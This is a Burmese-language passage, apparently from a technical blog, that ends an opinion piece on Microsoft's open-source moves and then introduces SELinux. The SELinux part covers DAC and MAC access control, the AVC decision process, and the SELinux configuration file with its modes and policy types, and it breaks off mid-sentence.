နောက်တချက်က… အခုလိုမျိုး Microsoft ဘက်က Linux kernel ကို သူ့ရဲ့ platform မှာ အချိန်တိုအတွင်း tightly integrate လုပ်တာဟာ၊ သူ့ရဲ့ target ဟာ Linux community ထက် Apple များဖြစ်နေမလားလို့ သံသယရှိပါတယ်။ လက်ရှိအချိန်ထိ developer environment တစ်ခုကို setup လုပ်ဖို့ရာအတွက်တော့ Linux ပြီးရင် Apple ရဲ့ MacOS ဟာ developer တွေအတွက်တော့ အဆင်အပြေဆုံးပါ။ Bash ကို သူ့ရဲ့ terminal ထဲမှာသုံးပြီးတော့ Linux မှာလိုမျိုး အသုံးပြုနိုင်တဲ့ toolset တော်တော်များများကို Apple မှာလည်း အလွယ်ယူသုံးနိုင်တာကို တွေ့နိုင်မှာပဲဖြစ်ပါတယ်။ Windows ဘက်မှာလည်း PowerShell ကိုသူ့ရဲ့ drive engine အနေနဲ့ အသုံးပြုဖို့ အကြံရှိခဲ့သော်လည်း မအောင်မြင်တဲ့အတွက် အခုတဖန် Windows Terminal နဲ့ သူနဲ့ အတူတွဲပြီးတော့ အသုံးပြုအောင်လို့ WSL 2 ကို ရောယောင်ပြီးတော့ တပေါင်းတစည်းတည်း ဖြစ်အောင်လို့ အတင်းသွပ်သွင်းလို့ လာနေတာလည်း ဖြစ်ပါတယ်။ Microsoft အနေနဲ့ direct threat ဟာ Apple လို့မြင်လို့က မြင်နိုင်ပြီးတော့၊ “the enemy of my enemy is my friend” ဆိုတဲ့ အတိုင်း တစ်ခုခုနဲ့ ပူးပေါင်းဖို့ပဲ ကျန်တော့တယ်လို့ မြင်ပါတယ်။ Linux နဲ့ Apple ဟာတိုက်ရိုက် ထိတိုက်တွေ့စရာ မရှိသော်လည်း၊ သူတို့ရဲ့ အနောက်မှာရှိတဲ့ developer army ဟာ တော်တော်လေးကို ကြောက်ဖို့ကောင်းပါတယ်။ Open source မှာ Linux နဲ့ အခြားသော open source project တွေမှာ ပါဝင်ကြိုးစားပေးတဲ့ developer တွေမြောက်များစွာရှိသလိုမျိုးပဲ၊ Apple မှာလည်း Apple ရဲ့ Ecosystem တစ်ခုလုံးအတွက် ကြေးစား developer တွေဟာလည်း ချိန်ခွင်ရဲ့ အခြားဘက်မှာရှိနေသေးကိုလည်း ထည့်သွင်းပြီးတော့ စဉ်းစားပေးသင့်ပါတယ်။ Windows မှာတော့ သူတို့နှစ်ခုလိုမျိုး တောင့်တင်းတဲ့ developer army မရှိခဲ့လို့ Steve Ballmer ရဲ့ တချိန်က Developers, Developers, Developers, Developers ဆိုပြီးတော့ ကြွေးကြော်သံဟာ သမိုင်းမှာလည်း ခပ်ကြောင်ကြောင်နိုင်လို့ကောင်းတုန်းပါ။ သေချာတာတစ်ခုကတော့ Windows ဟာ personal device space မှာ Apple မှာလိုမျိုး end-to-end ecosystem ကောင်းကောင်းတစ်ခုမရှိဘူးဆိုတာ Windows Phone ရဲ့ ကျဆုံးခန်းဟာ သက်သေထူနေပါတယ်။ မပြေးသော်လည်း ကန်ရာရှိသမို့ စာရေးသူ အခုလို ကောက်ချက်ချရင် ရိုင်းမယ်မထင်ပါ။

နောက်ဆုံးပြောစရာရှိတာက… Linus Torvalds ကိုယ်တိုင်က Microsoft ဟာအခုလိုမျိုး Linux လို platform ကို ကြွေပြီးတော့ တကယ်ကြီးကို contribute လုပ်နေတာကို ဝမ်းမြောက်စွာဖြင့်ကြိုဆိုပါတယ်။ Microsoft ဟာ tech industry မှာတော့ အချိန်ထိ leader board ပေါ်မှာ အခုချိန်ထိ ဇယားထိပ်မှာ ရပ်တည်နေတုန်းမို့ ကတယ်သာ ထိထိရောက်ရောက် open source အပေါ်မှာစေတနာထားပြီးတော့ contribute လုပ်သွားရင်တော့ open source project တွေအတွက်ရော၊ proprietary ပါ ပါဝင်တဲ့ tech industry တစ်ခုလုံးအတွက်ရော အကျိုးများနိုင်မယ့် အနေအထားရှိပါတယ်။ ဘာဖြစ်လာအုံးမယ်ဆိုတာ အခုချိန်ထိတော့ မသိနိုင်ပေမယ့်လည်း အခုအချိန်လိုမျိုး တစ်ကမ္ဘာလုံး pandemic ကြောင့်ရော၊ အဲ့ဒီမတိုင်ခင် စီးပွားရေးကပ်ဆိုက်လုမျောမျော ဖြစ်လာတဲ့ market အနေအထားကြောင့် စျေးအေးလာတဲ့ အခါမှာတော့ tech company ကြီးတွေက စျေးဝယ်ထွက်ကြပါတယ်။ Microsoft လည်း အခုသလော အဝယ်ကြမ်းနေပါတယ်၊ Cisco လည်း အဝယ်ကြမ်းနေပါတယ်။ အခြားသော key player တွေလည်း အဝယ်ကြမ်းလို့ နေပါတယ်။ ဟိုတလောကပဲ… Zoom က သူ့ရဲ့ security အတွက် အားဖြည့်ဖို့အတွက် Keybase.io ကို ဝယ်လိုက်ပါတယ်။ Keybase.io ရဲ့ ထုတ်ပြန်စာမှာတော့ အခုချိန်မှာတော့ keybase ရဲ့ အနာဂတ်ဟာ Zoom ရဲ့ လက်ထဲမှာဆိုတဲ့ လေသံမျိုးကြားရတော့ merger တွေဟာ tech industry အတွက် innovation တွေပျောက်ကွယ်သွားဖို့ အတွက် ဘယ်လောက်တောင် ဒုက္ခပေးနိုင်သလဲဆိုတာကို ခံစားလို့ ရနေပါတယ်။

ဒီလောက်ဆိုရင်တော့… ထောင့်စုံအောင် ပတ်ပြီးတော့ ဆွေးနွေးဖြစ်လိုက်မယ်လို့ထင်ပါတယ်။ ဒီသလောက် Microsoft နဲ့ Open source မှာတွေ့နေရတဲ့ သတင်းတွေကြည့်ပြီး ဖတ်ပြီးတော့ စဉ်းစားမိတဲ့ အကြောင်းအရာလေးတစ်ခုပါ။ စိတ်ရှည်ရှည်နဲ့သာ စောင့်ကြည့်ရအုံးမယ့် open source ကမ္ဘာရဲ့ ဇာတ်လမ်းလေး တစ်ပုဒ်ပါ။ “အဆိုးနဲ့အကောင်း တွဲနေတတ်တာကို မြင်နိုင်ဖို့ကြိုးစား” နိုင်ကြပါစေသော်။


# SELinux မိတ်ဆက်

နည်းပညာလောကမှာ security နဲ့ တကယ်တန်း ပတ်သတ်လာရင် အုပ်စုနှစ်ဖွဲ့ ပဲရှိပါတယ်။ တစ်ဖွဲ့က InfoSec Professionals တွေနဲ့ နောက်တစ်ဖွဲ့ကတော့ အခြားသောသူတွေပဲဖြစ်ပါတယ်။ ပြောချင်တာက ကိုယ်အနေနဲ့ InfoSec Professional တစ်ယောက်မဟုတ်ဘူးဆိုရင်ဖြင့် security ဆိုတာကြီးကို ဘာမှမဟုတ်သလို နေတတ်ကြပါတယ်။ ဥပမာ တစ်ခုပြောရင် စာရေးသူ တို့တစ်ခုခုကို Windows Server ပေါ်မှာပဲဖြစ်ဖြစ်၊ Linux Server မှာပဲဖြစ် setup လုပ်ပြီးဆိုရင် အကြောင်းအမျိုးမျိုးကြောင့် အလုပ်မလုပ်ဘူးဆိုရင် Firewall တွေကို disable လုပ်တတ်တဲ့ sysadmin တွေရှိပါတယ်။ တကယ်ဆိုရင် အဲ့ဒါဟာ best practice မဟုတ်တဲ့အတွက် လုံးဝကို မလုပ်သင့်ပါဘူး။ သို့သော် စာရေးသူတို့ တခါတခါ အလွယ်သဘောမျိုးနဲ့ ဘာကြောင့်လဲဆိုတာကို မစဉ်းစားတော့ပဲနဲ့၊ ရှိသမျှ system တစ်ခုရဲ့ security shield တွေအကုန်ချလိုက်တတ်ကြပါတယ်။ အထူးသဖြင့် security လို့ဆိုလိုက်ရင် anti-virus software တို့၊ firewall တို့ကိုပဲ မျက်လုံးထဲမြင်ပြီးတော့ ဒီထက်ပိုပြီးတော့ security အကြောင်းကို ပြောကြမယ်ဆိုရင်တော့ CISSP လိုမျိုး certification တွေကို လေ့လာမှပဲ security ထဲမှာ သုံးတဲ့ အသုံးအနှုံးတွေနဲ့ security practice တွေကို သေချာသိရပါတော့တယ်။ သေချာတာတစ်ခုကတော့ security ဟာ နေရာတကာ မရှိမဖြစ်လိုအပ်တဲ့ အရာတစ်ခုဖြစ်လို့ နောက်ပိုင်းမှာ DevSecOps တို့ NetSecOps တို့ ဆိုပြီးတော့ အဆင်သင့် ရေနွေးနဲ့ ပြုတ်စားလို့ရတဲ့ instant noodle တွေလိုတောင် ဖြစ်လာကြပါပြီ။ နည်းပညာလောကကြီး အခုနောက်ပိုင်းမှာ အရမ်းကို demand ဖြစ်လွန်းပါတယ်။ တစ်ချိန်တစ်ခါက Network Specialist တို့ Linux System Specialist တို့ဆိုပြီးတော့ သီးသန့် specialist တွေက ကိုယ်သန်ရာသန်ရာမှာပဲ တစိုက်မတ်မတ် လေ့လာကျက်စားကြပြီးတော့မှ subject matter experts တွေရယ်လို့တောင်မှ ပူဇော်ပသရာ ဖြစ်ခဲ့ကြပါတယ်။ အခုများတော့ နည်းပညာလောကထဲကို စဝင်ချင်တယ်ဆိုရင် အကုန်လုံးသိထားရမယ်ဆိုပြီးတော့ ရှိသမျှ specialization တွေအကုန်လုံးကို role တစ်ခုအနေနဲ့ ဖန်တီးလာကြပါတယ်။ DevOps ရဲ့ culture ရေစီးကြောင်းကို သိရင်တော့ဖြင့် DevOps တို့ DevSecOps တို့ဆိုတာ job role တွေ job title တွေထက်စာရင် practice တစ်ခု၊ streamline တစ်ခုအနေနဲ့ မြင်တာကို ပိုပြီးတော့ သဘောကြပါတယ်။ သိသော်လည်း အခုအနောက်ပိုင်းမှာ company တွေက အလုပ်ခေါ်ပြီဆိုရင်ဖြင့် DevOps Engineer တို့ Site Reliability Engineer (SRE) တို့ဆိုပြီးတော့ entry level မှာတင်ကို တော်တော်လေးကို expect လုပ်ကြလွန်းလို့ ဘယ်ကနေစလိုက်ရမှန်းတောင် မသိတော့ပါဘူး။ DevOps ရဲ့ ရေစီးကြောင်းဟာ နည်းပညာသမိုင်းမှာ သေချာတော့ သိထားစရာတွေပါ။

ဒီတလောမှာ SELinux အကြောင်းတွေကို စိတ်ဝင်တစား လိုက်ရှာဖတ်ရာကနေပြီးတော့ SELinux ရဲ့ အတိမ်အနက်ကို အနည်းငယ်ရိမ်ဖမ်း သံဖမ်းမိလာပါတော့တယ်။ system တစ်ခုကို setup လုပ်ပြီဆိုရင်ဖြင့် စာရေးသူဟာ stable ဖြစ်ချင်တယ် ဆိုရင် CentOS ကို အမြဲတမ်းရွေးလေ့ရှိပါတယ်။ RHEL ရဲ့ ကောင်းမွေတွေကို အကုန်ရနိုင်တဲ့ အပြင် CentOS ရဲ့ release cadence ကတော်တော်လေးကို ငြိမ်လို့ အမြဲတမ်းလိုလို သူ့ကိုပဲ production မှာ သုံးဖို့အတွက် ရွေးသလို အခြားလူတွေအတွက်လည်း CentOS ကို recommend လုပ်ပါတယ်။ နည်းနည်း modernized ဖြစ်တဲ့ distro ကိုအသုံးပြုချင်ရင်တော့ Ubuntu LTS ကို သုံးပါတယ်။ ကိုယ်အသုံးပြုမယ့် အရာပေါ်မှာမူတည်ပြီးတော့ လိုအပ်ရင် လိုအပ်သလို အဆင်ပြေမယ်လို့ ထင်တဲ့ဟာကို သုံးဖြစ်ပါတယ်။ အဲ့ဒီအခါမှာ CentOS ကို အသုံးပြုပြီဆိုတာနဲ့ SELinux ဆိုတဲ့ security layer နောက်တစ်ခုထပ်တိုးလာလို့ တခါတလေပိုပြီးတော့ ကသီတယ်လို့ အရင်ထင်မိတာတော့ အမှန်ပါ။ အမှန်က SELinux ကို ကောင်းကောင်းသိထားနားလည်ထားရင်တော့ နည်းနည်းပိုကောင်းမယ်လို့ ထင်ပါတယ်။ အစပိုင်းမှာတော့ SELinux ဟာ ဘယ်လိုအလုပ်လုပ်သလဲဆိုတာ မသိတာတကြောင်းနဲ့ ဘယ်လိုမှန်အောင်လို့ configure လုပ်ရမလဲဆိုတာကို မသိတဲ့အတွက် permissive မှာပဲ ထားပြီးတော့ အလွယ်လုပ်လိုက်ခဲ့မိပါတယ်။ အချို့ forum တွေမှာလိုက်ပြီးတော့ ဟိုဖတ်ဒီဖတ်နဲ့ သဘောပေါက်လာတာကတော့ SELinux ကိုမှန်အောင် configure လုပ်နိုင်ရင် permissive မှာထားစရာမလိုပဲ ကိုယ်လိုချင်တဲ့အရာကို အလုပ်ဖြစ်အောင် setup လုပ်နိုင်တယ်ဆိုတာ သိလာပါတော့တယ်။ သေချာလိုက်ဖတ်ကြည့်တော့ ပုံမှန်ကိုယ်အသုံးပြုတဲ့ user permission တွေထက် ပိုတယ်ဆိုတာလည်း သဘောပေါက်လာပါတယ်။ ဒီလိုနဲ့ပဲ SELinux အကြောင်းရေးမယ်ဆိုပြီးတော့ နှပ်ထားတာ နည်းနည်းတောင်ကြာသွားပါပြီ။ အဲ့ဒီ အကြွေးတွေကို ဆပ်ဖို့အတွက် ဒီစာကို ရေးဖို့ တဖန်အားထုတ်ရပြန်ပါတယ်။

### SELinux ဆိုသည်မှာ

SELinux ရဲ့ အရှည်ကတော့ Security-Enhanced Linux ဖြစ်ပြီး SELinux ကိုတော့ နာမည်ကျော် အမေရိကန်နိုင်ငံရဲ့ စုံစမ်းစစ်ဆေးရေးအဖွဲ့ တစ်ခုဖြစ်တဲ့ National Security Agency (NSA) က Linux kernel အတွက်ဆိုပြီးတော့ Linux Security Modules (LSM) ကို project တစ်ခုအနေနဲ့ စတင်ခဲ့ပါတယ်။ ၂၀၀၀ ခုနှစ်မှာတော့ SELinux ကို open source community အတွက်ဆိုပြီး ပေးလာရာကနေ ၂၀၀၃ခုနှစ်မှ Linux kernel 2.6.x ထဲမှာထည့်သွင်း အသုံးပြုဖို့အတွက် အဆင်သင့်ဖြစ်ပါတော့တယ်။ သူဟာ Linux kernel အဆင့်မှာ ထည့်ပေါင်းပြီးတော့ အလုပ်လုပ်တာဖြစ်တဲ့အတွက် access control နဲ့ဆိုင်တဲ့ security policies တွေအတွက် များစွာထိရောက်တဲ့ security architecture တစ်ခုဖြစ်ပါတယ်။

Linux ရဲ့ access control လို့ ဆိုတဲ့နေရာမှာ အကြမ်းဖျင်းအားဖြင့် Discretionary Access Control (DAC) နဲ့ Mandatory Access Control (MAC) ဆိုပြီးတော့ ရှိပါတယ်။ DAC ဆိုတာကတော့ ACLs လိုမျိုး object တစ်ခုရဲ့ attribute ပေါ်မှာမူတည်ပြီးတော့ subject တွေကို ထိုထိုသော object တွေက access လုပ်တဲ့ နေရာမှာ ဘယ်လို UID တွေ၊ SUID တွေကို အသုံးပြုပြီးတော့ permission တွေနဲ့ ဘယ်လောက်ထိပဲ access လုပ်လို့ ရမလဲဆိုတာကို သတ်မှတ်ပေးတဲ့ access control တစ်မျိုးပါ။ ရေပူရအားဖြင့်တော့ object တစ်ခုဟာ owner ရှိပြီးတော့ grant နဲ့ deny ဆိုတဲ့ permission တွေကိုပေးနိုင်ပါတယ်။ ဥပမာဆိုရရင်တော့ဖြင့် Linux နဲ့ Windows တွေမှာသုံးတဲ့ file systems တွေဟာ ACL ကိုအသုံးပြုပြီးတော့ မည်သို့မည်ပုံ file တွေ၊ folder တွေကို restrict လုပ်လို့ရသလဲဆိုတာကို သတ်မှတ်ကြပါတယ်။ ဒီနေရာမှာ object ဆိုတာကတော့ file system တစ်ခုရဲ့ file တွေ folder တွေဖြစ်ပြီးတော့၊ subject ဆိုတာက user နဲ့ group တွေဖြစ်ပါတယ်။ DAC ဟာသူ့ရဲ့ သဘောသဘာဝအရ MAC လောက်တော့ မလုံခြုံဘူးလို့ မှတ်ထားနိုင်ပါတယ်။ DAC မှာ system တစ်ခုရဲ့ administrator တစ်ယောက်ဟာ ရှိသမျှ object တွေကို လိုက်ပြီးတော့ ACL နဲ့ တစ်ခုချင်းစီ လိုက်လံသတ်မှတ်ပေးစရာမလိုပါ။ User တစ်ယောက်ဟာ သူ့ကိုယ်ပိုင် account တစ်ခုအောက်မှာ file တွေ၊ folder တွေ ဖန်တီးလိုက ဖန်တီးနိုင်ပြီးတော့ ၄င်း user သည် ထို object ရဲ့ owner ဖြစ်နေလေသတည်း။ Object တစ်ခုရဲ့ owner တစ်ယောက်အနေနဲ့ သူသတ်မှတ်ချင်တဲ့ attribute ကို ထို object အတွက် လိုသလို သတ်မှတ်ပေးလို့ ရ၏။ ဒါကိုကြည့်ခြင်းအားဖြင့် distributed management model တစ်ခုဖြစ်သည်ဟု ဆိုနိုင်သည်။ အကယ်လိုများ permission မှားပြီးပေးထားလျှင် ထိုအတိုင်းပင် system က ပေးထားတဲ့ အမှားတိုင်းပဲ object ကို access ပေးလုပ်နိုင်သည့်အတွက် လုံးဝယုံကြည် စိတ်ချနိုင်သော access control management model မဟုတ်ပေ။ ဒီအတွက် ဒီ model ကို Discretionary Access Control (DAC) လို့ခေါ်ဆိုခြင်းဖြစ်သည်။ ဒီနေရာမှာ discretionary အဓိပ္ပာယ်ကတော့ လိုမှအသုံးပြုနိုင်တယ်၊ သာမညဖြစ်တယ်လို့ ဆိုရမှာပဲဖြစ်ပါတယ်။

အခြားတဘက်မှာတော့ Mandatory Access Control (MAC) ဆိုတဲ့ model ရှိပါတယ်။ MAC မှာတော့ hierarchical လို့ခေါ်တဲ့ security level ပေါ်မှာမူတည်ပြီးတော့ အဆင့်ဆင့် လိုက်ပြီးတော့ သတ်မှတ်ပေးရတဲ့ ကြိုးနီစနစ် ဆန်ဆန် system တစ်ခုလုံးကို administrative privilege ရှိတဲ့ group နဲ့ သူ့ member တွေပဲ လိုက်ပြီးတော့ သတ်မှတ်ပေးနိုင်တဲ့ access control system တစ်ခုဖြစ်ပါတယ်။ MAC ကို အသုံးပြုခြင်းအားဖြင့် kernel အဆင့်မှာ application တစ်ခုရဲ့ malicious သို့မဟုတ် flaw ဖြစ်နေတဲ့ အစိတ်အပိုင်းတွေကို ချုပ်ကိုင်နိုင်စွမ်းရှိတဲ့ access control security architecture တစ်ခုပါ။ ဒီနေရာမှာတော့ subject နဲ့ object လို့ဆိုတဲ့ နေရာမှာ subject ဆိုတာကတော့ system တစ်ခုရဲ့ process သို့မဟုတ် thread ကို ဆိုလိုရင်းဖြစ်ပြီးတော့၊ object ဆိုတာကတော့ အဲ့ဒီ system တစ်ခုရဲ့ constructs တွေဖြစ်တဲ့ files တွေ၊ directories တွေ၊ TCP/UDP ports တွေ နဲ့ shared memory segments တွေအပြင် IO devices တွေပါ ပါဝင် နိုင်ပါတယ်။ ဒီတော့ constructs ဆိုရင် system တစ်ခုမှာ ရှိနိုင်တဲ့ target တွေအကုန်လုံးကို object လို့သတ်မှတ်နိုင်ပါတယ်။ Subject မှာကော၊ object မှာပါ သက်ဆိုင်ရာ security attribute တွေနဲ့ ချိတ်ဆက်နိုင်လို့ အရိုးအရှင်းဆုံးပြောရရင် labeling လုပ်တယ်လို့လည်း ဆိုကြပါတယ်။ MAC ဟာ system တစ်ခုရဲ့ kernel အဆင့်မှာ အလုပ်လုပ်တာဖြစ်တဲ့အတွက် ပိုပြီးတော့ strict ဖြစ်တယ်၊ secure ဖြစ်တယ်လို့ ဆိုနိုင်ပါတယ်။ သက်ဆိုင်ရာ security policies တွေ attribute တွေကို labeling လုပ်ဖို့ရာအတွက် administrative privilege ရှိဖို့တော့ လိုပါတယ်။ MAC model ကို SELinux မှာသုံးပါတယ်။ ဒီတော့ SELinux ရဲ့ security ကိုထိန်းချုပ်တဲ့ နေရာမှာ kernel မှာအလုပ်လုပ်တာဖြစ်ပြီးတော့ လိုအပ်တဲ့ အပြောင်းအလဲ လုပ်လိုတယ်ဆိုရင်တော့ sudo သို့မဟုတ် root လို privilege တွေရှိမှပဲ လုပ်လို့ ရနိုင်မှာဖြစ်ပါတယ်။ ပုံမှန် RHEL ကနေဆင်းသက်လာတဲ့ RPM based distribution တွေမှာ SELinux ကို security layer တစ်ခု အနေနဲ့ ထပ်ဆောင်းထည့်ထားပြီးတော့၊ DEB based မှာလည်း AppArmor ဆိုတဲ့ MAC model ကိုအသုံးပြုတဲ့ kernel အဆင့်မှာအလုပ်လုပ်တဲ့ security feature တစ်ခုရှိပါတယ်။ နောက်ပိုင်း အချိန်ရမှပဲ AppArmor အကြောင်းကို အသေးစိတ်ရေးပါ့မယ်။ အခုတော့ SELinux အကြောင်းကိုဆက်သွားလိုက်ရအောင်။

SELinux ရဲ့ ထူးခြားချက်ကတော့ NSA မှာစတင်ပေါက်ဖွားလာတဲ့အတွက် multilevel security (MLS) ဆိုတဲ့ feature တစ်ခုပါပဲ။ ဒီ MLS ဆိုတာကတော့ တော်တော်လေးကို အဆင့်မြင့်သွားပြီဖြစ်တဲ့ အမေရိကန် military နဲ့ အခြားအဆင့်မြင့် နိုင်ငံတွေမှာ အသုံးပြုတဲ့ အထူးပြုလုပ်ထားတဲ့ military systems တွေမှာ အသုံးပြုပါတယ်။ ၄င်းနည်းတူ DEB based distro တွေမှာလည်း MLS အတွက် MAC implementation ရှိသလို၊ Windows မှာလည်း Mandatory Integrity Control ဆိုတဲ့ ဟာတွေရှိပါတယ်။ မည်သို့ပင်ဖြစ်စေ ကိုယ်ဟာ InfoSec professional တစ်ယောက်မဟုတ်ရင် system တစ်ခုရဲ့ ဒီလို ထပ်ဆောင်း security layer တွေအကြောင်းကို သီးသန့်လေ့လာဖြစ်မယ်မထင်ပါဘူး။ သို့သော် ကိုယ့်အနေနဲ့ RPM based distro တွေကို အသုံးပြုပြီဆိုရင်တော့ SELinux နဲ့ ရှောင်လွှဲလို့ရနိုင်မှာမဟုတ်ပါ။ သို့သော်… SELinux ကို bypass လုပ်တဲ့အနေနဲ့ RHEL၊ CentOS လို distro တွေမှာ setenforce ကို permissive သို့မဟုတ် disable လုပ်လိုက်တတ်ကြပါတယ်။ ဒီ့အတွက် SELinux ရဲ့ ကောင်းမွန်လှတဲ့ security layer ရဲ့ အရသာကို မသိနိုင်တော့ပါဘူး။ စာရေးသူတို့ ဒီထက်ကောင်းအောင်၊ system တစ်ခုကို ဒီထက်ပိုပြီးတော့ လုံခြုံအောင်လို့ SELinux ကို ထည့်သွင်းအသုံးပြုသင့်ပါတယ်။ ဒီတော့ SELinux ရဲ့ basics လေးတွေကို နည်းနည်းလေး လေ့လာကြည့်ရအောင်။

### SELinux ဘယ်လိုအလုပ်လုပ်သလဲ

SELinux ပါဝင်တဲ့ Linux distro တွေမှာ out-of-box default သတ်မှတ်ထားတဲ့ SELinux Policy Database နဲ့ သက်ဆိုင်ရာ labeling တွေရှိပါတယ်။ ပုံမှန် operation မှာ ကိုယ်က ဘာမှသွားပြောင်းစရာမလိုပဲ ဒီအတိုင်း အသုံးပြုရင်လည်း ရပါတယ်။ သို့သော် ကိုယ်က system level မှာ တစ်ခုခုအပြောင်းအလဲလုပ်ပြီဆိုရင်တော့ အောက် က process အတိုင်းသွားပါတယ်။

* Subject တစ်ခုဖြစ်တဲ့ application process တစ်ခုဟာ object တစ်ခုဖြစ်တဲ့ file တစ်ခုခုကို access လုပ်ဖို့ကြိုးစားတဲ့နေရာမှာ kernel မှာပါတဲ့ policy enforcement server ဟာ access vector cache (AVC) ကို သွားပြီး စစ်ကြည့်ပါတယ်။ အဲ့ဒီ AVC ဟာ subject ရော object ရဲ့ permission အကုန်လုံးကို သိမ်းဆည်းထားတဲ့နေရာပါ။
* ဒီနေရာမှာ လိုအပ်တဲ့ permission ကိုပေးဖို့အတွက် AVC မှာလုံလောက်တဲ့ အချက်အလက် တွေမရှိဘူးဆိုကြပါစို့။ ဒါဆိုရင်တော့ နောက်အဆင့်အနေနဲ့ SELinux security server ရဲ့ policy database ကိုသွားပြီးတော့ ထို application process နဲ့ သူ access လုပ်ဖို့ ကြိုးစားတဲ့ file နှစ်ခုရဲ့ security context ကို subject-object matrix မှာ ထပ်မံ့စစ်ဆေးရပြန်ပါတယ်။
* အဲ့ဒီနောက်မှာတော့ permission ကို granted လုပ်သလား၊ denied လုပ်သလားဆိုတာကို သိပါပြီ။ အကယ်လို့များ access ကို denied လုပ်ခံရမယ်ဆိုရင်တော့ avc: denied ဆိုတဲ့ message အသေးစိတ်ကို /var/log/messages မှာသွားပြီးတော့ report လုပ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9b37544d7cdfe457796e95c92197b2baaf87187c%2FSELinux_Decision_Process.png?alt=media" alt=""><figcaption></figcaption></figure>

SELinux ကို configure လုပ်ချင်တယ်ဆိုရင်တော့ /etc/sysconfig/selinux ဆိုတဲ့ configuration file မှာ သွားပြီးတော့ ကို်ယ်ထားချင်တဲ့ operating mode နဲ့ type ကို သတ်မှတ်ပေးလို့ရပါတယ်။ ဒီ /etc/sysconfig/selinux ဟာ အမှန်တကယ် SELinux ရဲ့ config ဖြစ်တဲ့ /etc/selinux/config ရဲ့ symbolic link ဖြစ်ပါတယ်။

```
# cat /etc/sysconfig/selinux

# This file controls the state of SELinux on the system.
# SELINUX= can take one of these three values:
#     enforcing - SELinux security policy is enforced.
#     permissive - SELinux prints warnings instead of enforcing.
#     disabled - No SELinux policy is loaded.
SELINUX=disabled
# SELINUXTYPE= can take one of these two values:
#     targeted - Targeted processes are protected,
#     mls - Multi Level Security protection.
SELINUXTYPE=targeted
```

CentOS သို့မဟုတ် Fedora လို RHEL ကဆင်းသက်လာတဲ့ distro တွေကိုသုံးတဲ့ အခါမှာ SELinux ရဲ့ operating mode ကို enforcing မှာ default အနေနဲ့ထားပါတယ်။ enforcing အပြင် အသုံးပြုလို့ရနိုင်တဲ့ အခြား mode တွေကတော့ permissive နဲ့ disabled ဆိုတဲ့ operating mode တွေပဲဖြစ်ပါတယ်။ Enforcing ဆိုတာကတော့ ရှင်းပါတယ် SELinux ကို သုံးကိုသုံးရမယ်လို့ enforce လုပ်ထားတာဖြစ်ပါတယ်။ Enforcing mode မှာ adminstrator ကသီးသန့် explicitly allow မလုပ်ထားတဲ့ အရာတွေ အားလုံးကို deny လုပ်ပြီးတော့ syslog မှာလည်း သွားပြီးတော့ report လုပ်ပါတယ်။ Permissive ဆိုတာကတော့ enforce မလုပ်တော့ပဲ denied ဖြစ်တဲ့ အရာတွေကို logging ပဲလုပ်ပြီးတော့ လိုက်ပြီးတော့ block မလုပ်ချင် denied မလုပ်ချင်ရင် ထားတဲ့ operating mode တစ်ခုဖြစ်ပါတယ်။ ဒီ permissive mode ကို troubleshooting လုပ်တဲ့အခါ relabeling လုပ်တဲ့အခါမျိုးမှာပဲ အသုံးပြုသင့်ပြီးတော့၊ system တစ်ခုရဲ့ normal daily operation မှာတော့ permissive ကိုမသုံးသင့်ပါဘူး။ နောက်ဆုံး operating mode ကတော့ disabled ဖြစ်ပါတယ်။ ဒီ mode မှာတော့ SELinux ကိုလုံးဝ disabled လုပ်လိုက်တာဖြစ်တဲ့ အတွက် permissive မှာလိုတောင် denied ဖြစ်တဲ့အရာတွေကို logging မလုပ်တော့ပါဘူး။ ဒီ disabled mode ကိုတော့ တိကျတဲ့ အကြောင်းအရင်း ခိုင်ခိုင်လုံလုံမရှိပဲနဲ့ လုံးဝ မထားသင့်ပါဘူး။ ဘာလို့လဲဆိုတော့ SELinux ဟာ disabled mode မှာထားလိုက်တာနဲ့ ရှိသမျှ security policies တွေအားလုံးမှာ label တွေအားလုံးကိုသွားဖြုတ်ပါတော့တယ်။ ဒါကြောင့် နောက်တခါ enforcing ဖြစ်ဖြစ်၊ permissive ဖြစ်ဖြစ် operating mode တစ်ခုပြန်ထားချင်ရင် system reboot လုပ်တဲ့အခါမှာ kernel ဟာ SELinux ရဲ့ရှိသမျှ security policies တွေကို labeling ပြန်လုပ်ရပါတယ်။ Label အားလုံးအတွက် database ကို ပြန်ပြီး build လုပ်ရတာဖြစ်တဲ့အတွက် အချိန်အားဖြင့် ကိုယ့် system တစ်ခုရဲ့ complexity ပေါ်မှာမူတည်ပြီးတော့ မိနစ် ၃၀ ကနေ ၁ နာရီကျော်လောက်ထိကြာတတ်ပါတယ်။ ဒါကြောင့် production မှာ သေချာတိကျတဲ့ အကြောင်းမရှိပဲနဲ့တော့ SELinux ကို လုံးဝ disabled မလုပ်သင့်ပါဘူး။ တခါတလေကျရင်တော့ SELinux နဲ့ ပတ်သတ်ပြီးတော့ troubleshoot စရာရှိရင်တော့လည်း disabled mode ကို အသုံးပြုနိုင်ပါတယ်။

SELinux ရဲ့ type အကြောင်းလည်း ဒီနေရာ အနည်းငယ် သိထားဖို့တော့လိုပါလိမ့်မယ်။ /etc/sysconfig/selinux ရဲ့ ဒုတိယ အပိုင်းမှာတော့ SELINUXTYPE ဆိုတာရှိပြန်ပါတယ်။ အဲ့ဒီမှာလည်း အသုံးပြုနိုင်တဲ့ option သုံးမျိုးရှိပြန်ပါတယ်။ ထိုသုံးခုကတော့ targeted၊ strict နဲ့ mls တို့ပဲဖြစ်ပါတယ်။ ဒီနေရာမှာတော့ SELinux ရဲ့ ကျန်တဲ့ configuration တွေကို ဘယ်မှာသွားပြီးတော့ ရှာကြည့်နိုင်သလဲဆိုတဲ့ directory path ကို သတ်မှတ်ပေးတဲ့ နေရာပဲဖြစ်ပါတယ်။ ထားပါတော့… ကိုယ်က default အတိုင်းလာတဲ့ type targeted ကို အသုံးပြုရင် SELinux ဟာ /etc/selinux/targeted ဆိုတဲ့ directory မှာသွားပြီးတော့ ကြည့်ပါတယ်။ ၄င်းနည်းတူ strict ကို သုံးရင် /etc/selinux/strict ကိုကြည့်ပြီးတော့၊ mls ကိုသုံးရင်တော့ /etc/selinux/mls ကိုသုံးပါတယ်။ ဒီလိုမှမဟုတ် ပဲကိုယ်က ကိုယ်ပိုင် policy ကို ရေးချင်တယ် ဆိုရင်တော့ ကိုယ်တိုင် directory တစ်ခုကို /etc/selinux/ အောက်မှာတည်ဆောက်ပြီးတော့ ကိုယ်ပိုင် policy 